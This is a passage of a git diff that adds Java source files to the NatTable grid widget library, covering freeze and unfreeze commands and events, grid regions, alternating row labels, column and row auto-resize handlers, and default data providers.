b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/freeze/command/FreezeCommandHandler.java @@ -0,0 +1,72 @@ +package net.sourceforge.nattable.freeze.command; + +import net.sourceforge.nattable.command.AbstractLayerCommandHandler; +import net.sourceforge.nattable.coordinate.PositionCoordinate; +import net.sourceforge.nattable.freeze.FreezeLayer; +import net.sourceforge.nattable.freeze.event.FreezeEvent; +import net.sourceforge.nattable.freeze.event.UnfreezeEvent; +import net.sourceforge.nattable.selection.SelectionLayer; +import net.sourceforge.nattable.viewport.ViewportLayer; + +public class FreezeCommandHandler extends AbstractLayerCommandHandler { + + private final FreezeLayer freezeLayer; + + private final ViewportLayer viewportLayer; + + private final SelectionLayer selectionLayer; + + public FreezeCommandHandler(FreezeLayer freezeLayer, ViewportLayer viewportLayer, SelectionLayer selectionLayer) { + this.freezeLayer = freezeLayer; + this.viewportLayer = viewportLayer; + this.selectionLayer = selectionLayer; + } + + public Class getCommandClass() { + return IFreezeCommand.class; + } + + public boolean doCommand(IFreezeCommand command) { + if (command instanceof FreezeColumnCommand) { + FreezeColumnCommand freezeColumnCommand = (FreezeColumnCommand)command; + IFreezeCoordinatesProvider coordinatesProvider = new FreezeColumnStrategy(freezeLayer, freezeColumnCommand.getColumnPosition()); + handleFreezeCommand(coordinatesProvider); + return true; + } else if (command instanceof FreezeSelectionCommand) { + IFreezeCoordinatesProvider coordinatesProvider = new FreezeSelectionStrategy(freezeLayer, viewportLayer, selectionLayer); + handleFreezeCommand(coordinatesProvider); + return true; + } else if (command instanceof UnFreezeGridCommand) { + handleUnfreeze(); + return true; + } + return false; + } + + protected void handleFreezeCommand(IFreezeCoordinatesProvider coordinatesProvider) { + // if not already frozen + if (freezeLayer.getColumnCount() == 0 && freezeLayer.getRowCount() == 0) { + final PositionCoordinate topLeftPosition = coordinatesProvider.getTopLeftPosition(); + final PositionCoordinate bottomRightPosition = coordinatesProvider.getBottomRightPosition(); + + freezeLayer.setTopLeftPosition(topLeftPosition.columnPosition, topLeftPosition.rowPosition); + freezeLayer.setBottomRightPosition(bottomRightPosition.columnPosition, bottomRightPosition.rowPosition); + + viewportLayer.setMinimumOriginPosition(bottomRightPosition.columnPosition + 1, bottomRightPosition.rowPosition + 1); + + viewportLayer.fireLayerEvent(new FreezeEvent(viewportLayer)); + } + } + + protected void handleUnfreeze() { + resetFrozenArea(); + viewportLayer.fireLayerEvent(new UnfreezeEvent(viewportLayer)); + } + + private void resetFrozenArea() { + freezeLayer.setTopLeftPosition(-1, -1); + freezeLayer.setBottomRightPosition(-1, -1); + viewportLayer.resetOrigin(); + } + +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/freeze/command/FreezeSelectionCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/freeze/command/FreezeSelectionCommand.java new file mode 100644 index 0000000..928f650 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/freeze/command/FreezeSelectionCommand.java @@ -0,0 +1,22 @@ +package net.sourceforge.nattable.freeze.command; + +import net.sourceforge.nattable.layer.ILayer; + +/** + * Will inform the handler to use the selection layer for its freeze coordinates. + * + */ +public class FreezeSelectionCommand implements IFreezeCommand { + + public FreezeSelectionCommand() { + } + + public boolean convertToTargetLayer(ILayer targetLayer) { + return true; + } + + public FreezeSelectionCommand cloneCommand() { + return this; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/freeze/command/FreezeSelectionStrategy.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/freeze/command/FreezeSelectionStrategy.java new file mode 100644 index 0000000..c22768c --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/freeze/command/FreezeSelectionStrategy.java @@ -0,0 +1,43 @@ +package net.sourceforge.nattable.freeze.command; + +import net.sourceforge.nattable.coordinate.PositionCoordinate; +import net.sourceforge.nattable.freeze.FreezeLayer; +import net.sourceforge.nattable.selection.SelectionLayer; +import net.sourceforge.nattable.viewport.ViewportLayer; + +class FreezeSelectionStrategy implements IFreezeCoordinatesProvider { + + private final FreezeLayer freezeLayer; + + private final ViewportLayer viewportLayer; + + private final SelectionLayer selectionLayer; + + FreezeSelectionStrategy(FreezeLayer freezeLayer, ViewportLayer viewportLayer, SelectionLayer selectionLayer) { + this.freezeLayer = freezeLayer; + this.viewportLayer = viewportLayer; + this.selectionLayer = selectionLayer; + } + + public PositionCoordinate getTopLeftPosition() { + PositionCoordinate lastSelectedCellPosition = selectionLayer.getLastSelectedCellPosition(); + + int columnPosition = viewportLayer.getOriginColumnPosition(); + if (columnPosition >= lastSelectedCellPosition.columnPosition) { + columnPosition = lastSelectedCellPosition.columnPosition - 1; + } + + int rowPosition = viewportLayer.getOriginRowPosition(); + if (rowPosition >= lastSelectedCellPosition.rowPosition) { + rowPosition = lastSelectedCellPosition.rowPosition - 1; + } + + return new PositionCoordinate(freezeLayer, columnPosition, rowPosition); + } + + public PositionCoordinate getBottomRightPosition() { + PositionCoordinate lastSelectedCellPosition = selectionLayer.getLastSelectedCellPosition(); + return new PositionCoordinate(freezeLayer, lastSelectedCellPosition.columnPosition - 1, lastSelectedCellPosition.rowPosition - 1); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/freeze/command/IFreezeCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/freeze/command/IFreezeCommand.java new file mode 100644 index 0000000..e12238e --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/freeze/command/IFreezeCommand.java @@ -0,0 +1,6 @@ +package net.sourceforge.nattable.freeze.command; + +import net.sourceforge.nattable.command.ILayerCommand; + +public interface IFreezeCommand extends ILayerCommand { +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/freeze/command/IFreezeCoordinatesProvider.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/freeze/command/IFreezeCoordinatesProvider.java new file mode 100644 index 0000000..da7035d --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/freeze/command/IFreezeCoordinatesProvider.java @@ -0,0 +1,11 @@ +package net.sourceforge.nattable.freeze.command; + +import net.sourceforge.nattable.coordinate.PositionCoordinate; + +interface IFreezeCoordinatesProvider { + + public PositionCoordinate getTopLeftPosition(); + + public PositionCoordinate getBottomRightPosition(); + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/freeze/command/ReorderFrozenAreaCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/freeze/command/ReorderFrozenAreaCommand.java new file mode 100644 index 0000000..7f8b30e --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/freeze/command/ReorderFrozenAreaCommand.java @@ -0,0 +1,17 @@ +package net.sourceforge.nattable.freeze.command; + +import net.sourceforge.nattable.command.ILayerCommand; +import net.sourceforge.nattable.layer.ILayer; + +public class ReorderFrozenAreaCommand implements ILayerCommand { + + public boolean convertToTargetLayer(ILayer targetLayer) { + // TODO Auto-generated method stub + return true; + } + + public ReorderFrozenAreaCommand cloneCommand() { + return this; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/freeze/command/ReorderFrozenAreaCommandHandler.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/freeze/command/ReorderFrozenAreaCommandHandler.java new file mode 100644 index 0000000..e9ed0e6 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/freeze/command/ReorderFrozenAreaCommandHandler.java @@ -0,0 +1,15 @@ +package net.sourceforge.nattable.freeze.command; + +import net.sourceforge.nattable.command.AbstractLayerCommandHandler; + +public class ReorderFrozenAreaCommandHandler extends AbstractLayerCommandHandler { + + public boolean doCommand(ReorderFrozenAreaCommand command) { + return false; + } + + public Class getCommandClass() { + return ReorderFrozenAreaCommand.class; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/freeze/command/UnFreezeGridCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/freeze/command/UnFreezeGridCommand.java new file mode 100644 index 0000000..32c6306 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/freeze/command/UnFreezeGridCommand.java @@ -0,0 +1,6 @@ +package net.sourceforge.nattable.freeze.command; + +import net.sourceforge.nattable.command.AbstractContextFreeCommand; + +public class UnFreezeGridCommand extends AbstractContextFreeCommand implements IFreezeCommand { +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/freeze/config/DefaultFreezeGridBindings.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/freeze/config/DefaultFreezeGridBindings.java new file mode 100644 index 0000000..de7575a --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/freeze/config/DefaultFreezeGridBindings.java @@ -0,0 +1,17 @@ +package net.sourceforge.nattable.freeze.config; + +import net.sourceforge.nattable.config.AbstractUiBindingConfiguration; +import net.sourceforge.nattable.freeze.action.FreezeGridAction; +import net.sourceforge.nattable.freeze.action.UnFreezeGridAction; +import net.sourceforge.nattable.ui.binding.UiBindingRegistry; +import net.sourceforge.nattable.ui.matcher.KeyEventMatcher; + +import org.eclipse.swt.SWT; + +public class DefaultFreezeGridBindings extends AbstractUiBindingConfiguration { + + public void configureUiBindings(UiBindingRegistry uiBindingRegistry) { + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.CTRL | SWT.SHIFT, 'f'), new FreezeGridAction()); + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.CTRL | SWT.SHIFT, 'u'), new UnFreezeGridAction()); + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/freeze/event/FreezeEvent.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/freeze/event/FreezeEvent.java new file mode 100644 index 0000000..44e8247 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/freeze/event/FreezeEvent.java @@ -0,0 +1,31 @@ +package net.sourceforge.nattable.freeze.event; + +import java.util.Collection; + +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.layer.event.StructuralDiff; +import net.sourceforge.nattable.layer.event.StructuralRefreshEvent; + +public class FreezeEvent extends StructuralRefreshEvent { + + public FreezeEvent(ILayer layer) { + super(layer); + } + + protected FreezeEvent(FreezeEvent event) { + super(event); + } + + public FreezeEvent cloneEvent() { + return new FreezeEvent(this); + } + + public Collection getColumnDiffs() { + return null; + } + + public Collection getRowDiffs() { + return null; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/freeze/event/FreezeEventHandler.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/freeze/event/FreezeEventHandler.java new file mode 100644 index 0000000..f778f8d --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/freeze/event/FreezeEventHandler.java @@ -0,0 +1,93 @@ +package net.sourceforge.nattable.freeze.event; + +import java.util.Collection; + +import net.sourceforge.nattable.coordinate.PositionCoordinate; +import net.sourceforge.nattable.coordinate.Range; +import net.sourceforge.nattable.freeze.FreezeLayer; +import net.sourceforge.nattable.layer.event.ILayerEventHandler; +import net.sourceforge.nattable.layer.event.IStructuralChangeEvent; +import net.sourceforge.nattable.layer.event.StructuralDiff; + +public class FreezeEventHandler implements ILayerEventHandler { + + private final FreezeLayer freezeLayer; + + public FreezeEventHandler(FreezeLayer freezeLayer) { + this.freezeLayer = freezeLayer; + } + + public Class getLayerEventClass() { + return IStructuralChangeEvent.class; + } + + public void handleLayerEvent(IStructuralChangeEvent event) { + PositionCoordinate topLeftPosition = freezeLayer.getTopLeftPosition(); + PositionCoordinate bottomRightPosition = freezeLayer.getBottomRightPosition(); + + Collection columnDiffs = event.getColumnDiffs(); + if (columnDiffs != null) { + int leftOffset = 0; + int rightOffset = 0; + + for (StructuralDiff columnDiff : columnDiffs) { + switch (columnDiff.getDiffType()) { + case ADD: + Range afterPositionRange = columnDiff.getAfterPositionRange(); + if (afterPositionRange.start < topLeftPosition.columnPosition) { + leftOffset += afterPositionRange.size(); + } + if (afterPositionRange.start <= bottomRightPosition.columnPosition) { + rightOffset += afterPositionRange.size(); + } + break; + case DELETE: + Range beforePositionRange = columnDiff.getBeforePositionRange(); + if (beforePositionRange.start < topLeftPosition.columnPosition) { + leftOffset -= Math.min(beforePositionRange.end, topLeftPosition.columnPosition + 1) - beforePositionRange.start; + } + if (beforePositionRange.start <= bottomRightPosition.columnPosition) { + rightOffset -= Math.min(beforePositionRange.end, bottomRightPosition.columnPosition + 1) - beforePositionRange.start; + } + break; + } + } + + topLeftPosition.columnPosition += leftOffset; + bottomRightPosition.columnPosition += rightOffset; + } + + Collection rowDiffs = event.getRowDiffs(); + if (rowDiffs != null) { + int leftOffset = 0; + int rightOffset = 0; + + for (StructuralDiff rowDiff : rowDiffs) { + switch (rowDiff.getDiffType()) { + case ADD: + Range afterPositionRange = rowDiff.getAfterPositionRange(); + if (afterPositionRange.start < topLeftPosition.rowPosition) { + leftOffset += afterPositionRange.size(); + } + if (afterPositionRange.start <= bottomRightPosition.rowPosition) { + rightOffset += afterPositionRange.size(); + } + break; + case DELETE: + Range beforePositionRange = rowDiff.getBeforePositionRange(); + if (beforePositionRange.start < topLeftPosition.rowPosition) { + leftOffset -= Math.min(beforePositionRange.end, topLeftPosition.rowPosition + 1) - beforePositionRange.start; + } + if (beforePositionRange.start <= bottomRightPosition.rowPosition) { + rightOffset -= Math.min(beforePositionRange.end, bottomRightPosition.rowPosition + 1) - beforePositionRange.start; + } + break; + } + } + + topLeftPosition.rowPosition += leftOffset; + bottomRightPosition.rowPosition += rightOffset; + } + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/freeze/event/UnfreezeEvent.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/freeze/event/UnfreezeEvent.java new file mode 100644 index 0000000..ff6e339 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/freeze/event/UnfreezeEvent.java @@ -0,0 +1,31 @@ +package net.sourceforge.nattable.freeze.event; + +import java.util.Collection; + +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.layer.event.StructuralDiff; +import net.sourceforge.nattable.layer.event.StructuralRefreshEvent; + +public class UnfreezeEvent extends StructuralRefreshEvent { + + public UnfreezeEvent(ILayer layer) { + super(layer); + } + + protected UnfreezeEvent(UnfreezeEvent event) { + super(event); + } + + public UnfreezeEvent cloneEvent() { + return new UnfreezeEvent(this); + } + + public Collection getColumnDiffs() { + return null; + } + + public Collection getRowDiffs() { + return null; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/GridRegion.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/GridRegion.java new file mode 100644 index 0000000..1148319 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/GridRegion.java @@ -0,0 +1,19 @@ +package net.sourceforge.nattable.grid; + +/** + * A region is simply an area on the Grid. + * Diving the table/grid into regions makes it easier to manage areas with similar behavior. + * + * For example all the cells in the column header are painted differently + * and can respond to sorting actions. + */ +public interface GridRegion { + + public static final String CORNER = "CORNER"; + public static final String COLUMN_HEADER = "COLUMN_HEADER"; + public static final String COLUMN_GROUP_HEADER = "COLUMN_GROUP_HEADER"; + public static final String ROW_HEADER = "ROW_HEADER"; + public static final String BODY = "BODY"; + public static final String DATAGRID = "DATAGRID"; + public static final String FILTER_ROW = "FILTER_ROW"; +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/cell/AlternatingRowConfigLabelAccumulator.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/cell/AlternatingRowConfigLabelAccumulator.java new file mode 100644 index 0000000..a35eaf1 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/cell/AlternatingRowConfigLabelAccumulator.java @@ -0,0 +1,23 @@ +package net.sourceforge.nattable.grid.cell; + +import net.sourceforge.nattable.grid.GridRegion; +import net.sourceforge.nattable.grid.layer.config.DefaultRowStyleConfiguration; +import net.sourceforge.nattable.layer.LabelStack; +import net.sourceforge.nattable.layer.cell.IConfigLabelAccumulator; + +/** + * Applies 'odd'/'even' labels to all the rows. These labels are + * the used to apply color to alternate rows. + * + * @see DefaultRowStyleConfiguration + */ +public class AlternatingRowConfigLabelAccumulator implements IConfigLabelAccumulator { + + public static final String ODD_ROW_CONFIG_TYPE = "ODD_" + GridRegion.BODY; + + public static final String EVEN_ROW_CONFIG_TYPE = "EVEN_" + GridRegion.BODY; + + public void accumulateConfigLabels(LabelStack configLabels, int columnPosition, int rowPosition) { + configLabels.addLabel((rowPosition % 2 == 0 ? EVEN_ROW_CONFIG_TYPE : ODD_ROW_CONFIG_TYPE)); + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/command/AutoResizeColumnCommandHandler.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/command/AutoResizeColumnCommandHandler.java new file mode 100644 index 0000000..03fb570 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/command/AutoResizeColumnCommandHandler.java @@ -0,0 +1,65 @@ +package net.sourceforge.nattable.grid.command; + +import net.sourceforge.nattable.command.ILayerCommandHandler; +import net.sourceforge.nattable.grid.layer.GridLayer; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.print.command.TurnViewportOffCommand; +import net.sourceforge.nattable.print.command.TurnViewportOnCommand; +import net.sourceforge.nattable.resize.MaxCellBoundsHelper; +import net.sourceforge.nattable.resize.command.AutoResizeColumnsCommand; +import net.sourceforge.nattable.resize.command.InitializeAutoResizeColumnsCommand; +import net.sourceforge.nattable.resize.command.MultiColumnResizeCommand; +import net.sourceforge.nattable.selection.SelectionLayer; +import net.sourceforge.nattable.util.ObjectUtils; + +/** + * This command is triggered by the {@link InitializeAutoResizeColumnsCommand}. + * The selected columns picked from the {@link SelectionLayer} by the above command. + * This handler runs as a second step. This must run at the {@link GridLayer} level + * since we need to pick up all the region labels which are applied at the grid level. + * + * Additionally running at the grid layer level ensures that we include cells from the + * headers in the width calculations. + */ +public class AutoResizeColumnCommandHandler implements ILayerCommandHandler { + + private final GridLayer gridLayer; + + public AutoResizeColumnCommandHandler(GridLayer gridLayer) { + this.gridLayer = gridLayer; + } + + public Class getCommandClass() { + return AutoResizeColumnsCommand.class; + } + + public boolean doCommand(ILayer targetLayer, AutoResizeColumnsCommand command) { + // Need to resize selected columns even if they are outside the viewport + targetLayer.doCommand(new TurnViewportOffCommand()); + + int[] columnPositions = ObjectUtils.asIntArray(command.getColumnPositions()); + int[] gridColumnPositions = convertFromSelectionToGrid(columnPositions); + + int[] gridColumnWidths = MaxCellBoundsHelper.getPreferedColumnWidths( + command.getConfigRegistry(), + command.getGC(), + gridLayer, + gridColumnPositions); + + gridLayer.doCommand(new MultiColumnResizeCommand(gridLayer, gridColumnPositions, gridColumnWidths)); + targetLayer.doCommand(new TurnViewportOnCommand()); + + return true; + } + + private int[] convertFromSelectionToGrid(int[] columnPositions) { + int[] gridColumnPositions = new int[columnPositions.length]; + + for (int i = 0; i < columnPositions.length; i++) { + // Since the viewport is turned off - body layer can be used as the underlying layer + gridColumnPositions[i] = gridLayer.underlyingToLocalColumnPosition(gridLayer.getBodyLayer(), columnPositions[i]); + } + return gridColumnPositions; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/command/AutoResizeRowCommandHandler.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/command/AutoResizeRowCommandHandler.java new file mode 100644 index 0000000..cc4c81b --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/command/AutoResizeRowCommandHandler.java @@ -0,0 +1,57 @@ +package net.sourceforge.nattable.grid.command; + +import net.sourceforge.nattable.command.ILayerCommandHandler; +import net.sourceforge.nattable.grid.layer.GridLayer; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.print.command.TurnViewportOffCommand; +import net.sourceforge.nattable.print.command.TurnViewportOnCommand; +import net.sourceforge.nattable.resize.MaxCellBoundsHelper; +import net.sourceforge.nattable.resize.command.AutoResizeRowsCommand; +import net.sourceforge.nattable.resize.command.MultiRowResizeCommand; +import net.sourceforge.nattable.util.ObjectUtils; + +/** + * @see AutoResizeColumnCommandHandler + */ +public class AutoResizeRowCommandHandler implements ILayerCommandHandler { + + private final GridLayer gridLayer; + + public AutoResizeRowCommandHandler(GridLayer gridLayer) { + this.gridLayer = gridLayer; + } + + public Class getCommandClass() { + return AutoResizeRowsCommand.class; + } + + public boolean doCommand(ILayer targetLayer, AutoResizeRowsCommand command) { + // Need to resize selected rows even if they are outside the viewport + targetLayer.doCommand(new TurnViewportOffCommand()); + + int[] rowPositions = ObjectUtils.asIntArray(command.getRowPositions()); + int[] gridRowPositions = convertFromSelectionToGrid(rowPositions); + + int[] gridRowHeights = MaxCellBoundsHelper.getPreferedRowHeights( + command.getConfigRegistry(), + command.getGC(), + gridLayer, + gridRowPositions); + + gridLayer.doCommand(new MultiRowResizeCommand(gridLayer, gridRowPositions, gridRowHeights)); + + targetLayer.doCommand(new TurnViewportOnCommand()); + + return true; + } + + private int[] convertFromSelectionToGrid(int[] rowPositions) { + int[] gridRowPositions = new int[rowPositions.length]; + + for (int i = 0; i < rowPositions.length; i++) { + // Since the viewport is turned off - body layer can be used as the underlying layer + gridRowPositions[i] = gridLayer.underlyingToLocalRowPosition(gridLayer.getBodyLayer(), rowPositions[i]); + } + return gridRowPositions; + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/command/ClientAreaResizeCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/command/ClientAreaResizeCommand.java new file mode 100644 index 0000000..457d2e9 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/command/ClientAreaResizeCommand.java @@ -0,0 +1,21 @@ +package net.sourceforge.nattable.grid.command; + +import net.sourceforge.nattable.command.AbstractContextFreeCommand; + +import org.eclipse.swt.widgets.Scrollable; + +/** + * Command that gives the layers access to ClientArea and the Scrollable + */ +public class ClientAreaResizeCommand extends AbstractContextFreeCommand { + private Scrollable scrollable; + + public ClientAreaResizeCommand(Scrollable scrollable) { + super(); + this.scrollable = scrollable; + } + + public Scrollable getScrollable() { + return scrollable; + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/command/InitializeAutoResizeColumnsCommandHandler.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/command/InitializeAutoResizeColumnsCommandHandler.java new file mode 100644 index 0000000..d56233e --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/command/InitializeAutoResizeColumnsCommandHandler.java @@ -0,0 +1,35 @@ +package net.sourceforge.nattable.grid.command; + +import net.sourceforge.nattable.command.AbstractLayerCommandHandler; +import net.sourceforge.nattable.resize.command.AutoResizeColumnsCommand; +import net.sourceforge.nattable.resize.command.InitializeAutoResizeColumnsCommand; +import net.sourceforge.nattable.selection.SelectionLayer; + +public class InitializeAutoResizeColumnsCommandHandler extends AbstractLayerCommandHandler { + + private SelectionLayer selectionLayer; + + public InitializeAutoResizeColumnsCommandHandler(SelectionLayer selectionLayer) { + super(); + this.selectionLayer = selectionLayer; + } + + public Class getCommandClass() { + return InitializeAutoResizeColumnsCommand.class; + } + + @Override + protected boolean doCommand(InitializeAutoResizeColumnsCommand initCommand) { + int columnPosition = initCommand.getColumnPosition(); + if (selectionLayer.isColumnFullySelected(columnPosition)) { + initCommand.setSelectedColumnPositions(selectionLayer.getFullySelectedColumnPositions()); + } else { + initCommand.setSelectedColumnPositions(new int[] { columnPosition }); + } + + // Fire command carrying the selected columns + initCommand.getSourceLayer().doCommand(new AutoResizeColumnsCommand(initCommand)); + return true; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/command/InitializeAutoResizeRowsCommandHandler.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/command/InitializeAutoResizeRowsCommandHandler.java new file mode 100644 index 0000000..3205e2c --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/command/InitializeAutoResizeRowsCommandHandler.java @@ -0,0 +1,36 @@ +package net.sourceforge.nattable.grid.command; + +import net.sourceforge.nattable.command.AbstractLayerCommandHandler; +import net.sourceforge.nattable.resize.command.AutoResizeRowsCommand; +import net.sourceforge.nattable.resize.command.InitializeAutoResizeRowsCommand; +import net.sourceforge.nattable.selection.SelectionLayer; + +public class InitializeAutoResizeRowsCommandHandler extends AbstractLayerCommandHandler { + + private SelectionLayer selectionLayer; + + public InitializeAutoResizeRowsCommandHandler(SelectionLayer selectionLayer) { + super(); + this.selectionLayer = selectionLayer; + } + + public Class getCommandClass() { + return InitializeAutoResizeRowsCommand.class; + } + + @Override + protected boolean doCommand(InitializeAutoResizeRowsCommand initCommand) { + int rowPosition = initCommand.getRowPosition(); + + if (selectionLayer.isRowFullySelected(rowPosition)) { + initCommand.setSelectedRowPositions(selectionLayer.getFullySelectedRowPositions()); + } else { + initCommand.setSelectedRowPositions(new int[] { rowPosition }); + } + + // Fire command carrying the selected columns + initCommand.getSourceLayer().doCommand(new AutoResizeRowsCommand(initCommand)); + return true; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/command/InitializeGridCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/command/InitializeGridCommand.java new file mode 100644 index 0000000..bffe8ca --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/command/InitializeGridCommand.java @@ -0,0 +1,23 @@ +package net.sourceforge.nattable.grid.command; + +import net.sourceforge.nattable.command.AbstractContextFreeCommand; + +import org.eclipse.swt.widgets.Composite; + +/** + * Command that is propagated when NatTable starts up. This gives every layer a + * chance to initialize itself and compute its structural caches. + */ +public class InitializeGridCommand extends AbstractContextFreeCommand { + + private final Composite tableComposite; + + public InitializeGridCommand(Composite tableComposite) { + this.tableComposite = tableComposite; + } + + public Composite getTableComposite() { + return tableComposite; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/data/DefaultBodyDataProvider.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/data/DefaultBodyDataProvider.java new file mode 100644 index 0000000..da425e3 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/data/DefaultBodyDataProvider.java @@ -0,0 +1,14 @@ +package net.sourceforge.nattable.grid.data; + +import java.util.List; + +import net.sourceforge.nattable.data.ListDataProvider; +import net.sourceforge.nattable.data.ReflectiveColumnPropertyAccessor; + +public class DefaultBodyDataProvider extends ListDataProvider { + + public DefaultBodyDataProvider(List rowData, String[] propertyNames) { + super(rowData, new ReflectiveColumnPropertyAccessor(propertyNames)); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/data/DefaultColumnHeaderDataProvider.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/data/DefaultColumnHeaderDataProvider.java new file mode 100644 index 0000000..1f175cc --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/data/DefaultColumnHeaderDataProvider.java @@ -0,0 +1,52 @@ +package net.sourceforge.nattable.grid.data; + +import java.util.Map; + +import net.sourceforge.nattable.data.IDataProvider; + +public class DefaultColumnHeaderDataProvider implements IDataProvider { + + private final String[] propertyNames; + + private Map propertyToLabelMap; + + public DefaultColumnHeaderDataProvider(final String[] columnLabels) { + propertyNames = columnLabels; + } + + public DefaultColumnHeaderDataProvider(final String[] propertyNames, Map propertyToLabelMap) { + this.propertyNames = propertyNames; + this.propertyToLabelMap = propertyToLabelMap; + } + + public String getColumnHeaderLabel(int columnIndex) { + String propertyName = propertyNames[columnIndex]; + if (propertyToLabelMap != null) { + String label = propertyToLabelMap.get(propertyName); + if (label != null) { + return label; + } + } + return propertyName; + } + + public int getColumnCount() { + return propertyNames.length; + } + + public int getRowCount() { + return 1; + } + + /** + * This class does not support multiple rows in the column header layer. + */ + public Object getDataValue(int columnIndex, int rowIndex) { + return getColumnHeaderLabel(columnIndex); + } + + public void setDataValue(int columnIndex, int rowIndex, Object newValue) { + throw new UnsupportedOperationException(); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/data/DefaultCornerDataProvider.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/data/DefaultCornerDataProvider.java new file mode 100644 index 0000000..eae51be --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/grid/data/DefaultCornerDataProvider.java @@ -0,0 +1,31 @@ +package net.sourceforge.nattable.grid.data; + +import net.sourceforge.nattable.data.IDataProvider; + +public class DefaultCornerDataProvider implements IDataProvider { + + private final IDataProvider columnHeaderDataProvider; + private final IDataProvider rowHeaderDataProvider; + + public DefaultCornerDataProvider(IDataProvider columnHeaderDataProvider, IDataProvider rowHeaderDataProvider) { + this.columnHeaderDataProvider = columnHeaderDataProvider; + this.rowHeaderDataProvider = rowHeaderDataProvider; + } + + public int getColumnCount() { + return rowHeaderDataProvider.getColumnCount(); + } + + public int getRowCount() { + return columnHeaderDataProvider.getRowCount(); + } + + public Object getDataValue(int columnIndex, int rowIndex) { + return null; + } + + public void setDataValue(int columnIndex, int rowIndex, Object newValue) { + throw new 